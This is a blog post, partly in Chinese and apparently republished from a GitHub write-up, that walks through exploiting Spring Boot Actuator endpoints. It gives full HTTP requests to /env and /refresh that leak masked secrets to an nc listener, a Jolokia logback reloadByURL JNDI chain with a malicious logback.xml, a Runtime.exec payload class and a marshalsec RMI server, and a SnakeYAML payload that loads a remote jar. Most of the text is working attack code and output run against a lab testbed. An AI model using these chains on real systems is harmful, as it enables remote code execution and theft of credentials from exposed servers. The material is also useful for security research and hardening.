SpringBoot Actuator RCE Vulnerability Summary

1. SpringBoot env gets * sensitive information 

When we directly access the springboot site, we can see that some password fields are filled with *

  1. The plaintext field can be obtained through ${name}
    2. Improper configuration leads to leakage of sensitive information (password is marked with an asterisk, but pwd is not marked with an asterisk) 

Reference  https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA

The specific implementation process:

For example: we want to get the pid parameter value

"PID": "10648",
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

Then post refresh any content to trigger the vulnerability

Ps: In general, you need to wait for 3 seconds for a response packet. If it returns immediately, it may be that the service lacks the spring-boot-starter-actuator extension package and cannot refresh the vulnerability, so it cannot be exploited.

POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

When the server nc listens on port 2444, it receives

root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==

Authorization: Basic MzgzNDY6bnVsbA==

Base64 decoded to get

root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null

Same as the pid information above

Also get the user.country parameter, and the steps are the same

result:

root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==

 sent 0, rcvd 310

Base64 decoded to get

root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null
脚本化:

Enter the parameters to be queried, and enter the port where nc listens 

Listen to the port, get the specified header, and automatically base64 decrypt it 

Ps: If you are lucky enough to have Eureka-Client < 1.8.7 (usually included in Spring Cloud Netflix) in your target classpath, you can exploit the XStream deserialization vulnerability in it.

For example: User-Agent: Java-EurekaClient/v1.4.11

2. SpringBoot_Actuator JNDI RCE

1. Environment construction

git clone https://github.com/veracode-research/actuator-testbed

start up

mvn install
mvn spring-boot:run

After compiling and running, it is found that the listening IP address is 127.0.0.1, and only the local machine can access Baidu search, just modify it to 0.0.0.0

Find key files

grep -r 'server.address' -n ./

./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1

改为

server.port=8090
server.address=0.0.0.0

# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false

# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*

2.重启启动

mvn spring-boot:run

/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run

稍等片刻

root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6       0      0 :::8090                 :::*                    LISTEN      33666/java
root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/ 

http://10.20.24.191:8090/jolokia/list 

中 reloadByURL 可以加载远程 url xml 文件

"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}

3.http 服务存放logback.xml,ExportObject.class

logback.xml 文件内容

<configuration>
  <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>

ExportObject.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
   public ExportObject() throws Exception {
      Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
      InputStream var2 = var1.getInputStream();
      BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));

      String var4;
      while((var4 = var3.readLine()) != null) {
         System.out.println(var4);
      }

      var1.waitFor();
      var2.close();
      var3.close();
      var1.destroy();
   }

   public static void main(String[] var0) throws Exception {
   }
}

4.RCE触发

监听 rmi 端口

root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject


root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection

浏览器访问加载远程logback.xml文件进行解析,

服务器访问恶意jndi 地址,导致恶意字节码代码执行

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml

5. 命令执行成功

root@kali:/var/www/html# ls /tmp/j*
/tmp/jas502n
root@kali:/var/www/html#

三、YML RCE 漏洞

通过Spring环境spring.cloud.bootstrap.location 属性修改来实现RCE的方法更可靠

该属性用于加载外部配置并以YAML格式解析它。 为了实现这一点,任需要POST /refresh 任意内容触发漏洞。yaml_payload.yml 文件内容:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
  ]]
]

1.yaml_payload.jar 制造

代码 https://github.com/artsploit/yaml-payload

AwesomeScriptEngineFactory.java 部分代码

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java

包含实际的字节码,并在构造函数中带有恶意有效载荷。

ymal_payload.jar\services\javax.script.ScriptEngineFactory

只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件, 以便ServiceLoader知道在哪里可以找到该类

内容:artsploit.AwesomeScriptEngineFactory

jar 文件存在到http服务器中

http://10.20.24.191:8090/ymal_payload.jar

2.Set spring.cloud.bootstrap.location

spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

3.refresh post任意内容,RCE 漏洞触发

POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

4.RCE 执行成功

root@kali:/var/www/html# ls /tmp/succ*
/tmp/success
root@kali:/var/www/html# 
Ps: 与Eureka的XStream有效负载相比,yaml的方法甚至可以在最新版本中使用。
参考链接
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
原文链接: https://github.com/jas502n/SpringBoot_Actuator_RCE

Guess you like

Origin blog.csdn.net/m0_64910183/article/details/129293302